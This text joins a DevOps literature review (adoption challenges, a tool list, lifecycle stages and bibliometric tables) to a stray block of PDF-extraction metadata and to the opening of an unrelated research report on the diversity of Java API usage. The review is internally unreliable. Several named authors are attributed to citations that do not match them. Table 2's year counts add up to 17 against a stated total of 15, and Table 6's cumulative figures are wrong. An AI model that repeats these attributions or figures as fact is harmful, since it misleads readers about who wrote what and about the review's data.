Traditionally, operations and development teams collaborated in creating new systems, with the operations department relying on the development team to create tools and applications. These tools aimed to improve elements such as performance, security, and operating system stability. This collaboration effectively merged the roles of employees, blurring the lines between development and operations staff. DevOps, through its emphasis on cooperation and tool utilization, strengthens quality assurance by fostering a closer working relationship between these teams. DevOps also enables quality assurance staff to gather more data, with Real-time User Monitoring as a valuable tool for early end-user issue detection (Erich et al., 2014).
In their paper, Anna Wiedemann and Manuel Wiesche discuss the essential skills required to build a proficient DevOps-focused IT team. IT organizations are implementing product-focused agile IT teams to cope with rapidly evolving environments, requiring adaptability from high-performing software development teams. DevOps provides the speed and flexibility necessary for continuous and rapid digital innovation development. To bridge the gap between software development and operations, DevOps promotes collaboration, automation, virtualization, and tool usage to prevent delays in the software delivery process. The authors then delve into 36 specific skills across seven categories, including full-stack development, analysis, functional, decision-making, social, testing, and advisory abilities. Their analysis reveals that effective DevOps team members need a blend of development, operations, and management skills, emphasizing functional and analytical abilities. However, not every organization can afford highly specialized individuals with above-average compensation expectations. Firms may need to revamp their employee development programs to equip their existing IT staff with full-stack development skills. They also point out that these skill categories can overlap and depend on each other, such as the interdependence of social and decision-making skills, as effective teamwork hinges on members’ willingness to learn new abilities. These skills come together within a well-structured DevOps environment and should be present in every team member (Hussain et al., 2022).
Prixit Raj and Parul Sinha investigate the influence of Agile and DevOps on team dynamics and project management procedures in software development projects. Project success is influenced by the project management procedures. Agile and DevOps are altering the rules governing the execution and delivery of software projects, impacting scope management, quality management, and estimating procedures. These changes, in turn, affect project management practices, as shared accountability, automation, and feedback inherent in Agile and DevOps methodologies reshape team structures.
The development of Agile methodology aimed to address the shortcomings of the previous model and offers project teams numerous opportunities throughout the development lifecycle. The authors advise industries looking to implement Agile and DevOps approaches in their software development processes. They stress the need for project management procedures to adapt to the evolving methods of software product development, as Agile and DevOps work differently. These practices align more closely with client requirements, speeding up the software development process by identifying errors early, enhancing communication, reducing time and costs, and improving quality. Agile and DevOps empower teams to become more self-managed, providing timely and updated information for project management. To ensure successful implementation, organizations must address challenges related to team and management strategies that affect the teams’ organizational and technical capabilities (Bhatti et al., 2023).
In their paper, Ineta Buena and Marite Kirikova explain DevOps and its adoption approach. They observe that the corporate landscape is evolving rapidly, particularly in IT and other industries. Customers now have higher expectations for application content, demanding better quality and quicker delivery. This shift has fueled the popularity of agile methodologies in software development. Additionally, the adoption of DevOps is influenced by the potential to use fewer resources for software development and maintenance through automation. However, adopting DevOps is not a simple process, as it often requires extensive changes to enterprise process organization and workflows. Successful DevOps implementation necessitates a clear strategy and plan that addresses all critical aspects. The authors identify four categories of DevOps adoption obstacles: lack of knowledge, insufficient support, technological implementation challenges, and difficulties in adapting organizational procedures.
Additionally, the process for adopting DevOps can be outlined as follows: Firstly, it should be guided by the DevOps Maturity Model, which involves assessing the current DevOps maturity level and selecting the desired level. Next, a prioritized list of DevOps practices should be compiled, taking into account the key priorities identified during the obstacle identification phase. These practices should align with the goals identified in the DevOps Maturity Model, bridging the gap between current and desired DevOps maturity levels. Moreover, an inventory of existing DevOps-related tools within the organization should be created, along with a list of relevant DevOps tools that support the identified DevOps practices (Rasool et al., 2023).
Khan and Shameem’s paper delves into the challenges faced by DevOps. While DevOps processes significantly accelerate and automate the continuous delivery and deployment of software systems, the adoption of DevOps techniques is not without its difficulties. Many businesses struggle to keep pace with the rapid delivery and deployment characteristic of DevOps. Despite the importance of DevOps practices, it remains unclear why some software development companies face barriers or hesitance in their implementation. They aim to identify the challenging aspects that impact DevOps initiatives and establish a taxonomy of factors using AHP prioritization. The authors identify 16 factors that can pose challenges to the implementation of DevOps practices (Hamid et al., 2024).
These factors include a lack of a collaborative organizational culture, DevOps pipeline security, test automation, transitioning from legacy to microservices architecture, resistance to change, information and data sharing gaps, a lack of a unified DevOps maturity model, bureaucratic deployment procedures, absence of a clear DevOps transformation strategy, inadequate understanding of various DevOps tools, ambiguous DevOps definitions, poor team performance, insufficient DevOps training, lack of transparency,
and organizational vision. Among these, bureaucratic deployment procedures, lack of knowledge, data sharing, and DevOps pipeline security are given priority. The taxonomy they create serves as a robust framework to enhance the DevOps process by addressing major obstacles based on their significance and impact (Iqbal et al., 2024).
Pietrantuono and colleagues introduce DevOpRET, a strategy for continuous reliability testing in DevOps. DevOps is often perceived as the convergence of software development (Dev), quality assurance (QA), and operations (Ops). DevOps is defined as “a set of processes designed to reduce the time between committing a change to a system and having that change implemented in normal production while maintaining high quality.” Two fundamental DevOps methodologies include monitoring and ongoing testing. Continuous testing involves short, automated testing cycles that provide immediate quality feedback in the context of continuous integration (CI) and an acceptance test phase to determine release readiness. The adoption of DevOps is primarily driven by business objectives, which are translated into measurable Key Performance Indicators (KPIs). Measurement plays a crucial role in DevOps’ success (Ibrahim et al., 2023).
Notably, prior research has not extensively explored DevOps reliability. In response, the authors present the DevOpRET method, which integrates continuous software reliability testing into DevOps practice. This strategy, indicated by the acronym SRET, utilizes usage data to generate representative test cases and assess reliability before each release. DevOpRET leverages feedback from Operations to guide the acceptance testing phase conducted by the QA team before production release. DevOps relies on monitoring data to characterize the usage profile, reducing uncertainty about the operational profile pre-release. It employs data from operational monitoring to direct operational-profile-based testing as part of the acceptance testing process before each production release (Salahat et al., 2023).
Daniel Stahl, Torvald Martensson, and Jan Bosch shed light on the various definitions of DevOps. In the realm of software engineering, DevOps and continuous practices have gained increasing attention among practitioners and researchers. However, these terms are often used ambiguously and inconsistently. The authors examine the usage of these terms in published literature concerning continuous practices and DevOps. They argue that this ambiguity and miscommunication can be detrimental, as it hinders the objective evaluation of these practices, their impacts, and their relationships. The meanings and interpretations of these practices, such as continuous integration and continuous delivery or deployment, can vary significantly. DevOps, in particular, is known for its lack of clear and consistent definitions, with multiple interpretations and descriptions available (Fatima et al., 2023).
DevOps can be defined as “a software development approach that seamlessly incorporates quality assurance practices with IT operations within the software development process.” The authors analyze 35 publications on DevOps, revealing that some scarcely mention DevOps, let alone define it. DevOps is sometimes used as a buzzword, an engineering technique, or even as a strategy rather than a methodology. The lack of a consensus definition adds to the complexity. Some view DevOps as an approach that aims to automate the entire deployment process from source code in version control to production, emphasizing its technical aspects. Different people define DevOps differently, and this lack of clarity can be a source of confusion.
In a separate paper, Muhammad Shoaib Khan and colleagues highlight the significant considerations when implementing a DevOps culture. These considerations encompass challenges such as coordination and communication issues, a lack of expertise, complex infrastructure, inadequate management, absence of a DevOps strategy, and trust issues. DevOps is seen as a collection of techniques and a cultural movement aimed at enhancing collaboration and communication between development and operations teams. Despite its potential, including quicker production cycles, increased reliability, and stability, there is a dearth of literature and data on the fundamental concepts, processes, resources, and obstacles in implementing DevOps. The study identifies ten significant obstacles to adopting a DevOps culture, with culture, practices, and tools forming the three pillars of DevOps. Culture underpins these practices, and a range of tools is necessary for their implementation. However, implementing DevOps principles can be challenging, primarily due to the cultural shift between development and operations and the issues stemming from inadequate communication between these teams.
In the research by Dhaya Sindhu, the focus was on exploring the synergy between DevOps and cloud development and testing. The strong connection between DevOps and cloud technology is undeniable. As an increasing number of cloud projects integrate DevOps practices, this trend is set to continue. The advantages of applying DevOps in cloud application development are becoming increasingly evident. To remain competitive, companies must have the ability to rapidly deliver services or applications. Effective management practices and tools must be both fast and reliable. This necessitates the use of DevOps automation tools, whether in a cloud or non-cloud environment, to automate DevOps operations. However, experts predict that many predictable, repetitive tasks could be automated in the future. The application of intelligent automation (AI), which involves processes that adapt, learn, and improve over time, is becoming more feasible thanks to advances in AI and related fields. Algorithms are being developed to automate cognitive tasks. They also highlight that the application of AI in mobile robots has expanded the range of manual tasks that can be automated. Global enterprises are increasingly adopting DevOps to enhance their operational processes, with most operations being hosted on remote servers (cloud servers) for convenience and efficiency. The benefits of using cloud-based DevOps are expected to become more apparent over time.
In their research article, Anna Wiedemann and her colleagues express their concerns about the alignment between IT and business. Achieving alignment between IT and business at the organizational level is a top priority for businesses worldwide. The study focuses on the alignment of IT functions within the organization. Historically, IT tasks were divided into various components, but many organizations are now implementing cross-functional DevOps teams that integrate knowledge, tasks, and skills related to software development, planning, and management. This shift is driven by changing customer demands and the need to manage complex IT architectures. They propose a three-part model of intra-IT alignment, shedding light on how DevOps teams within the IT department can align development and operations. The model outlines various aspects of misalignment in the IT function, such as the tension between shorter development cycles that favor rapid feature delivery and the emphasis on maintaining stable operating systems with minimal changes. The study also suggests three approaches—individual componentization, multidisciplinary knowledge, and integrated responsibility—to address intra-IT misalignment in DevOps teams.
In another paper, Taryana and colleagues emphasize the development of software for managing the Internal Quality Assurance System (IQAS-HE) in Higher Education, which is currently a critical need. The primary challenge was automating software development to create reusable software for multiple developers. Automation of software development processes has become essential to bridge the gap between the operations team and the development team. The latest development necessitates automating software development processes to enhance productivity, accelerate product delivery, and enable direct operation. DevOps is a concept developed by practitioners to facilitate collaboration in managing software development, delivering software, and operating it in the intended environment.
DevOps is a model designed to eliminate the traditional divisions and barriers that often exist between operations and development teams in many businesses. The primary objective of DevOps was to enable continuous software development and deployment, with a focus on frequent and speedy releases. Additionally, software engineering is a critical discipline in business settings, and the system for implementing the Quality Assurance System, known as SPM-PT, is essential. Software development encompasses phases such as business modeling, analysis, programming, installation, design, product delivery, monitoring, operation, and evaluation, all of which require setting standards, implementing, monitoring, and evaluating SPM-PT. Both DevOps and SPM-PT address the same issue—meeting consumer demands for continuous delivery and improvement. They share a common organizational structure, combining the development and operations segments of the workplace in line with the DevOps cycle. The integration of SPM-PT into supply chain software using DevOps principles was crucial to addressing current challenges.
3. DevOps Tools
3.1. Version Control Systems
- Git
- Subversion (SVN)
- Bitbucket
3.2. Continuous Integration Tools
- Jenkins
- Travis CI
- CircleCI
- pipelines
3.3. Configuration Management Tools
- Ansible
- Chef
- Puppet
3.4. Containerization and Orchestration
- Docker
- Docker Compose
- Kubernetes
3.5. Orchestration and Automation
- Ansible
- Puppet
- Chef
3.6. Collaboration and Communication
- Slack
- Microsoft Teams
3.7. Monitoring and Logging
- Nagios
- ELK Stack (Elasticsearch, Logstash, Kibana)
- Prometheus
3.8. Cloud Platforms
- Amazon Web Services (AWS)
- Microsoft Azure
- Google Cloud Platform (GCP)
3.9. Infrastructure as Code (IaC)
- Terraform
- AWS CloudFormation
- Azure Resource Manager (ARM) templates
All these tools fully depend on the software house's approach and cost.
DevOps encompasses a range of techniques designed to automate and amalgamate software development and IT operations (Ops) processes, fostering enhanced collaboration and productivity. The DevOps lifecycle involves several key processes and stages, which can vary based on specific methodologies and organizational needs. However, here is a general overview of the DevOps lifecycle:
1. Plan
Define Objectives: Establish clear goals and objectives for the development and operations teams. Collaborative Planning: Foster collaboration between development, operations, and other stakeholders for effective planning. Risk Assessment: Identify potential risks and challenges in the development and deployment processes.
2. Develop
Code Development: Developers write code collaboratively, often utilizing version control systems like Git for efficient code management. Continuous Integration (CI): Developers integrate their code changes into a shared repository multiple times a day. Automated CI tools build and test the code. Code Review: Peers review code changes to maintain code quality and identify issues early in the development process.
3. Test
Continuous Testing: Automated tests, including unit tests, integration tests, and acceptance tests, ensure code quality and identify bugs early. Test Automation: Automated testing tools are used to validate code changes and ensure they do not break existing functionalities.
4. Deploy
Continuous Deployment (CD): Automated deployment processes ensure that code changes that pass testing are automatically deployed to production or staging environments. Infrastructure as Code (IaC): Infrastructure configurations are managed as code, allowing for automated provisioning and management of infrastructure resources.
5. Operate
Monitoring and Logging: Continuous monitoring tools track application performance and collect data for analysis. Logs are generated and analyzed for troubleshooting. Incident Management: Rapid response to issues is facilitated through automated alerts and incident management systems. Feedback Loops: Feedback from monitoring and incidents is utilized to inform future development and operational improvements.
6. Monitor
Performance Monitoring: Continuously monitor application performance, server health, and other relevant metrics to ensure optimal operation. User Experience Monitoring: Track user interactions and experiences to identify areas for improvement and enhance user satisfaction. Security Monitoring: Monitor for security vulnerabilities and breaches, ensuring the safety of data and applications.
7. Feedback
Post-Implementation Review: Evaluate the results of the deployment, considering factors such as performance, user feedback, and business outcomes. Iterative Development: Use feedback to make necessary improvements and iterate on the next development cycle, starting the process again. DevOps emphasizes automation, collaboration, and continuous feedback loops, enabling organizations to deliver high-quality software faster and more efficiently. It’s important to note that DevOps is not a one-size-fits-all approach; organizations may tailor these processes based on their specific requirements and constraints.
4. Results and Discussion
Table 1: illustrates the distribution of articles categorized by journal names [2] [5].
<table>
<thead>
<tr>
<th>List of Journals</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>DevOps Automation</td>
<td>15</td>
<td>100.00</td>
<td>15</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
Table 2: presents the distribution of articles based on their publication year, sourced from.
<table>
<thead>
<tr>
<th>Year of Publication</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014</td>
<td>1</td>
<td>6.67</td>
<td>1</td>
</tr>
<tr>
<td>2016</td>
<td>3</td>
<td>20.00</td>
<td>4</td>
</tr>
<tr>
<td>2017</td>
<td>3</td>
<td>20.00</td>
<td>7</td>
</tr>
<tr>
<td>2018</td>
<td>2</td>
<td>13.33</td>
<td>9</td>
</tr>
<tr>
<td>2019</td>
<td>3</td>
<td>20.00</td>
<td>12</td>
</tr>
<tr>
<td>2020</td>
<td>4</td>
<td>26.67</td>
<td>16</td>
</tr>
<tr>
<td>2022</td>
<td>1</td>
<td>6.67</td>
<td>17</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
Figure 1: depicts the breakdown of articles categorized by journal names.
Figure 2: showcases the distribution of articles categorized by their publication year.
Table 3: provides an overview of articles distributed by their respective countries.
<table>
<thead>
<tr>
<th>Countries</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>UAE</td>
<td>1</td>
<td>6.67</td>
<td>1</td>
</tr>
<tr>
<td>Egypt</td>
<td>1</td>
<td>6.67</td>
<td>2</td>
</tr>
<tr>
<td>Riga, Latvia</td>
<td>1</td>
<td>6.67</td>
<td>3</td>
</tr>
<tr>
<td>Canada</td>
<td>2</td>
<td>13.33</td>
<td>5</td>
</tr>
<tr>
<td>Romania</td>
<td>1</td>
<td>6.67</td>
<td>6</td>
</tr>
<tr>
<td>China</td>
<td>1</td>
<td>6.67</td>
<td>7</td>
</tr>
<tr>
<td>Germany</td>
<td>2</td>
<td>13.33</td>
<td>9</td>
</tr>
<tr>
<td>Netherlands</td>
<td>1</td>
<td>6.67</td>
<td>10</td>
</tr>
<tr>
<td>Italy</td>
<td>2</td>
<td>13.33</td>
<td>12</td>
</tr>
<tr>
<td>Sweden</td>
<td>2</td>
<td>13.33</td>
<td>14</td>
</tr>
<tr>
<td>Korea</td>
<td>1</td>
<td>6.67</td>
<td>15</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
Figure 3: illustrates the distribution of articles based on their originating countries.
Table 4: outlines the distribution of articles concerning their research types.
<table>
<thead>
<tr>
<th>Type of Research</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Quantitative</td>
<td>4</td>
<td>26.67</td>
<td>4</td>
</tr>
<tr>
<td>Qualitative</td>
<td>6</td>
<td>40.00</td>
<td>10</td>
</tr>
<tr>
<td>Mix method (quantitative & qualitative)</td>
<td>2</td>
<td>13.33</td>
<td>12</td>
</tr>
<tr>
<td>Theoretical</td>
<td>3</td>
<td>20.00</td>
<td>15</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
Figure 4: presents the distribution of articles categorized by their research types.

Table 5: Exhibits the distribution of articles according to their data collection tools.
<table>
<thead>
<tr>
<th>Tools</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Survey</td>
<td>15</td>
<td>100.00</td>
<td>15</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
Figure 5: Displays the distribution of articles based on the data collection tools utilized.

Table 6: Outlines the distribution of articles by their data authorship patterns.
<table>
<thead>
<tr>
<th>Number of Contributors</th>
<th>Frequency</th>
<th>Percentage</th>
<th>Cumulative frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Single Author</td>
<td>1</td>
<td>6.67</td>
<td>1</td>
</tr>
<tr>
<td>Two Authors</td>
<td>6</td>
<td>40.00</td>
<td>6</td>
</tr>
<tr>
<td>Three Authors</td>
<td>3</td>
<td>20.00</td>
<td>3</td>
</tr>
<tr>
<td>Four Authors</td>
<td>3</td>
<td>20.00</td>
<td>3</td>
</tr>
<tr>
<td>Five and more Authors</td>
<td>2</td>
<td>13.33</td>
<td>2</td>
</tr>
<tr>
<td>Total</td>
<td>15</td>
<td>100</td>
<td></td>
</tr>
</tbody>
</table>
5. Conclusion
DevOps represents a significant transformation in the realm of information system development. It plays a pivotal role in bridging the divide between end users, developers, and operations. This approach facilitates a continuous development process, enabling the frequent delivery of software. Furthermore, DevOps is instrumental in reducing downtime through the continuous execution of operations in the cloud.
References
672
|
{"Source-Url": "https://bbejournal.com/BBE/article/download/738/703", "len_cl100k_base": 8906, "olmocr-version": "0.1.42", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 28818, "total-output-tokens": 10887, "length": "2e13", "weborganizer": {"__label__adult": 0.0003650188446044922, "__label__art_design": 0.0002446174621582031, "__label__crime_law": 0.00021922588348388672, "__label__education_jobs": 0.0022602081298828125, "__label__entertainment": 5.519390106201172e-05, "__label__fashion_beauty": 0.0001519918441772461, "__label__finance_business": 0.0005922317504882812, "__label__food_dining": 0.0002982616424560547, "__label__games": 0.0004703998565673828, "__label__hardware": 0.0005345344543457031, "__label__health": 0.0003864765167236328, "__label__history": 0.0002005100250244141, "__label__home_hobbies": 7.539987564086914e-05, "__label__industrial": 0.00029087066650390625, "__label__literature": 0.00025582313537597656, "__label__politics": 0.00022709369659423828, "__label__religion": 0.0003371238708496094, "__label__science_tech": 0.004547119140625, "__label__social_life": 0.00010579824447631836, "__label__software": 0.005462646484375, "__label__software_dev": 0.98193359375, "__label__sports_fitness": 0.00025916099548339844, "__label__transportation": 0.00036215782165527344, "__label__travel": 0.00020885467529296875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51059, 0.03989]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51059, 0.16934]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51059, 0.90888]], "google_gemma-3-12b-it_contains_pii": [[0, 5423, false], [5423, 12119, null], [12119, 19731, null], [19731, 27368, null], [27368, 34928, null], [34928, 38359, null], [38359, 42134, null], [42134, 43950, null], [43950, 45296, null], [45296, 49006, null], [49006, 51059, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5423, true], [5423, 12119, null], [12119, 19731, null], [19731, 27368, null], [27368, 34928, null], [34928, 38359, null], [38359, 42134, null], [42134, 43950, null], [43950, 45296, null], [45296, 49006, null], [49006, 51059, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51059, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51059, null]], "pdf_page_numbers": [[0, 5423, 1], [5423, 12119, 2], [12119, 19731, 3], [19731, 27368, 4], [27368, 34928, 5], [34928, 38359, 6], [38359, 42134, 7], [42134, 43950, 8], [43950, 45296, 9], [45296, 49006, 10], [49006, 51059, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51059, 0.23039]]}
|
olmocr_science_pdfs
|
2024-11-22
|
2024-11-22
|
fa4a4eab4b60fd8fb6c055a646c6e6551da97a59
|
Analysis and Exploitation of Natural Software Diversity: The Case of API Usages
Diego Mendez, Benoit Baudry, Martin Monperrus
To cite this version:
Diego Mendez, Benoit Baudry, Martin Monperrus. Analysis and Exploitation of Natural Software Diversity: The Case of API Usages. [Research Report] hal-01095501, Inria. 2014. <hal-01095501>
HAL Id: hal-01095501
https://hal.archives-ouvertes.fr/hal-01095501
Submitted on 15 Dec 2014
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Analysis and Exploitation of Natural Software Diversity: The Case of API Usages
Diego Mendez, Benoit Baudry, Martin Monperrus
University of Lille & Inria
Abstract—In this paper, we study how object-oriented classes are used across thousands of software packages. We concentrate on “usage diversity”, defined as the different statically observable combinations of methods called on the same object. We present empirical evidence that there is a significant usage diversity for many classes. For instance, we observe in our dataset that Java’s String is used in 2,460 manners. Beyond those empirical observations, we show that we can use this API usage diversity to reason on the core design of object-oriented classes. We think that our pieces of evidence on API usage diversity shake up some established ideas on the nature of software and how to engineer it. Hence, we discuss those empirical results in the general context of software engineering: what are the reasons behind this diversity? What are the implications of this diversity?
I. INTRODUCTION
Gabel and Su [10] have published fascinating results, showing that most pieces of code of less than 35 tokens are redundant. They appear elsewhere in the same project, or, for small sequences, elsewhere in the space of all ever-written software. In ecology, a sister concept of redundancy is diversity. In ecosystems, species are said to be redundant if they have the same functional role, and are said to be diverse if many different species occupy different niches.
There are many kinds of diversity in software [9]. In this paper, we focus on one kind of diversity: the usage diversity of classes of object-oriented code. Our main research question reads as follows.
Do all developers use a given class in the same way? or in diverse ways?
By “usage diversity”, we mean ways of using a class in terms of method calls. We consider software from the viewpoint of type-usages, an abstraction introduced in [18], [19]. This concept abstracts over tokens, control flow and variables interplay. In a nutshell, a type-usage is a set of method calls done on a variable, parameter or field in a code base. For instance, Figure 1 presents a method body and three corresponding type-usages.
From a dataset of hundreds of thousands of Java classes, we have extracted millions of type-usages and measured their diversity (as defined by the number of different type-usages that can be observed). For instance, we have found that the Java class “String” is used in 2,460 different ways. This is not an exception; our experiment provides us with empirical evidence that a large scale diversity exists in “API usage”1 of certain object-oriented classes.
We then provide original results on how to exploit the diversity of API usage in an actionable way. We demonstrate that the diverse usages of a given class capture valuable information about the number of responsibilities of that class. We also point how the API usage diversity can be analyzed to compare the expected usage by the class designer and the actual usage.
Our contributions are:
• a set of new software metrics, inspired by biodiversity metrics, that quantify the amount and the structure of diversity of API usage;
• the empirical observation of diversity of API usage in a large dataset;
• the exploitation of API diversity to reason on the design of object-oriented classes;
• a discussion of those results in the general context of software engineering: what are the reasons behind this diversity? What are the implications of this diversity?
If the literature includes a large amount of work on the synthesis of artificial diversity in software systems [9], to our opinion, our work is the first study that empirically quantifies the presence of diversity in object-oriented API usage. Hence, our work can be classified as ecology-inspired software engineering research [2], [21].
We think that our pieces of evidence on API usage diversity shake up some established ideas on the nature of software and how to engineer it. Some of our points are of speculative nature, but they aim at fostering a collaborative research effort on understanding the factors behind this API usage diversity.
This paper is an extension of conference paper published at the 2013 International Working Conference on Source Code Analysis and Manipulation [16]: the new section VI discusses how we can use the topology of type-usages to reason on a class’ semantics; section VII now clearly differentiates between reasons and implications of API diversity.
The rest of the paper reads as follows. Section II gives some background on object-orientation and type-usages. Section III describes our experimental design. Section IV exposes our empirical results and findings, while section V investigates
1 We use the term “API usage” to reuse the same term as close work [12]. In this case, “API” refers to “Application Programming Interface”, which at the level of a class, is defined by the set of exposed methods (whether “exposed” means public, documented of callable).
potential biases in these observations. Section VI analyzes the diversity of usages with respect to the number of responsibilities of a class and the essentiality of methods in an API. Section VII discusses possible reasons for this diversity as well as possible implications on software engineering practices. Finally, related work (Section VIII) and conclusion (Section IX) close the paper.
II. BACKGROUND
A. Object-oriented software
In object-oriented software, a class defines a set of functions (called methods) meant to be used in conjunction, in order to perform computations in a certain problem domain. For instance, in the problem domain of manipulating character strings, the Java class `String` defines 76 methods to use and transform strings in a variety of manners. The term “object” refers to an instance of a class.
In object-oriented software, variables can point to objects, and one “calls” methods on variables. Syntactically, this is written with a dot. Calling method "getFirstLetter" on a string variable is written `a.getFirstLetter()`, The method operates on the data that is encapsulated within the object. Designing the scope of methods and where to put them is all the art of object-oriented design.
B. Type-Usages
We consider software from the viewpoint of `type-usages`, an unordered set introduced in [18], [19]. A type-usage is an unordered set of method calls on the same variable of a given type occurring somewhere within the context of a particular class [19]. Type-usage abstract over tokens, control flow and variables interplay. Calls must be made on the same variable (whether local variable, method parameter or field), are unordered (the location in source code is not taken into account) and unique (observing several times the same call on the same variable is not taken into account). A call consists of the signature of the method to be called, that is, in Java, the method name, the parameter types (the methods `void init(String)` and `void init(File)` are considered as two different calls), and the return type. There is no distinction between instance methods and class methods (“static” in Java). A constructor call resulting in an object assigned to a variable is considered as a method call on this variable.
Example type-usages are shown in Figure 1. The left-hand side contains a piece of Java source code. The right-hand side lists the corresponding type-usages. For instance, type-usage #1 corresponds to variable `inputFile` which refers to an object created by a constructor call, on which two methods are called: “isDirectory” and “listFiles”.
We say that type-usages are of the same “kind” when they have the same declared type the same set of calls. In the following, when we use “type-usage”, we mean this aggregated set of identical items. To refer to a concrete type-usage (say, the one corresponding to variable “inputFile” in Figure 1), we will use the term “type-usage instance” (programming terminology) or “type-usage specimen” (ecology terminology). Along this line of thought, a type-usage corresponds to a species (as opposed to type-usage instances which are individuals).
III. EXPERIMENTAL DESIGN
Our experiment consists of collecting a large number of type-usage across open-source Java applications and computing the corresponding values of novel bio-inspired software metrics.
A. Dataset
We have collected all Jar files present on a machine used for performing software mining experiments for 7 years. A Jar file is an archive containing compiled Java code under the form of a collection of “.class” files. We remove some duplicate Jar files with a heuristics based on file names. The resulting dataset contains 3 418 Jar files. Some Jars are still duplicated (the same version or very close versions) but this is no threat for the diversity measurement since the duplication does not introduce new type-usages. The residual duplication may still have an impact on the abundance of type-usages. The dataset only contains real code (mostly open-source code, but also binary proprietary code and student project code) and no artificial code that may have arisen along software mining. It represents 11 GB of Java bytecode and refers to 382 774 different types (classes or interfaces). The list of Jar files is given in the companion web page [15] and the raw
Diversity
Given domain. We call this metric class is the absolute number of different type-usages found in a ecosystem. In our context, the richness of an object-oriented abundance of a type-usage is the number of times it is observed the abundance at the level of type-usages and classes. The species is the number of specimens (individuals), we define metrics.
Abundance
Table I.
<table>
<thead>
<tr>
<th>Abundance</th>
<th>Diversity</th>
</tr>
</thead>
<tbody>
<tr>
<td>abundance_{project}(typeusage)</td>
<td>diversity_{project}(class)</td>
</tr>
<tr>
<td>abundance_{ecosystem}(typeusage)</td>
<td>diversity_{ecosystem}(class)</td>
</tr>
<tr>
<td>abundance_{project}(class)</td>
<td>abundance_{ecosystem}(class)</td>
</tr>
<tr>
<td>is the number of type-usages instances of a given type-usage for a single project (in $[0, \infty]$).</td>
<td>is the number of different type-usages of a given class for a single project (in $[0, \infty]$).</td>
</tr>
<tr>
<td>is the number of type-usages instances of a given type-usage in the ecosystem (in $[0, \infty]$).</td>
<td>is the number of different type-usages of a given class in the whole ecosystem (in $[0, \infty]$).</td>
</tr>
<tr>
<td>is the sum of all type-usage instances that are typed by the same class in a given project</td>
<td>is the sum of all type-usage instances that are typed by the same class in the ecosystem.</td>
</tr>
</tbody>
</table>
Eco-inspired Diversity Metrics for Types-Usages.
data is available upon request. In this paper, for the ecological metaphor, we call this dataset the “ecosystem” under study.
B. Extraction Software
The extraction software extracts the type-usages described in II-B from Java code. It uses the analysis library Soot [24]. It works at the method body scope for local variables and method parameters and class scope for method calls done on fields. The extractor takes as input either Java source code or Java bytecode. It is publicly available on Github².
C. Metrics
The extraction of type-usages on our dataset yielded 9022262 type-usage specimen. We post-processed those type-usages to compute the metrics described in Table I. There are two groups of metrics: “abundance metrics” and “diversity metrics”. Metrics have two dimensions: 1) whether they are computed at the type-usage or class level 2) whether the are computed for a single project or for the whole dataset.
Those metrics are inspired from ecology. The abundance of species is the number of specimens (individuals), we define the abundance at the level of type-usages and classes. The abundance of a type-usage is the number of times it is observed in a given scope, i.e. the number of type-usage instances.
The richness of an ecosystem is one measure of diversity, it is the absolute number of species that can be observed in this ecosystem. In our context, the richness of an object-oriented class is the absolute number of different type-usages found in a given domain. We call this metric diversity_{ecosystem}(class). A more precise definition is given in Table I.
IV. Evidence of API Usage Diversity
For us, a very intriguing research question is: what is the diversity of usages of object-oriented APIs? In other terms, do all developers use a given class in the same way? More formally, what are the values of diversity_{ecosystem} as defined in Table I? For us, a class would be “diverse” if we observe many different type-usages of this type in the ecosystem under study.
A. Abundance and Diversity Distribution
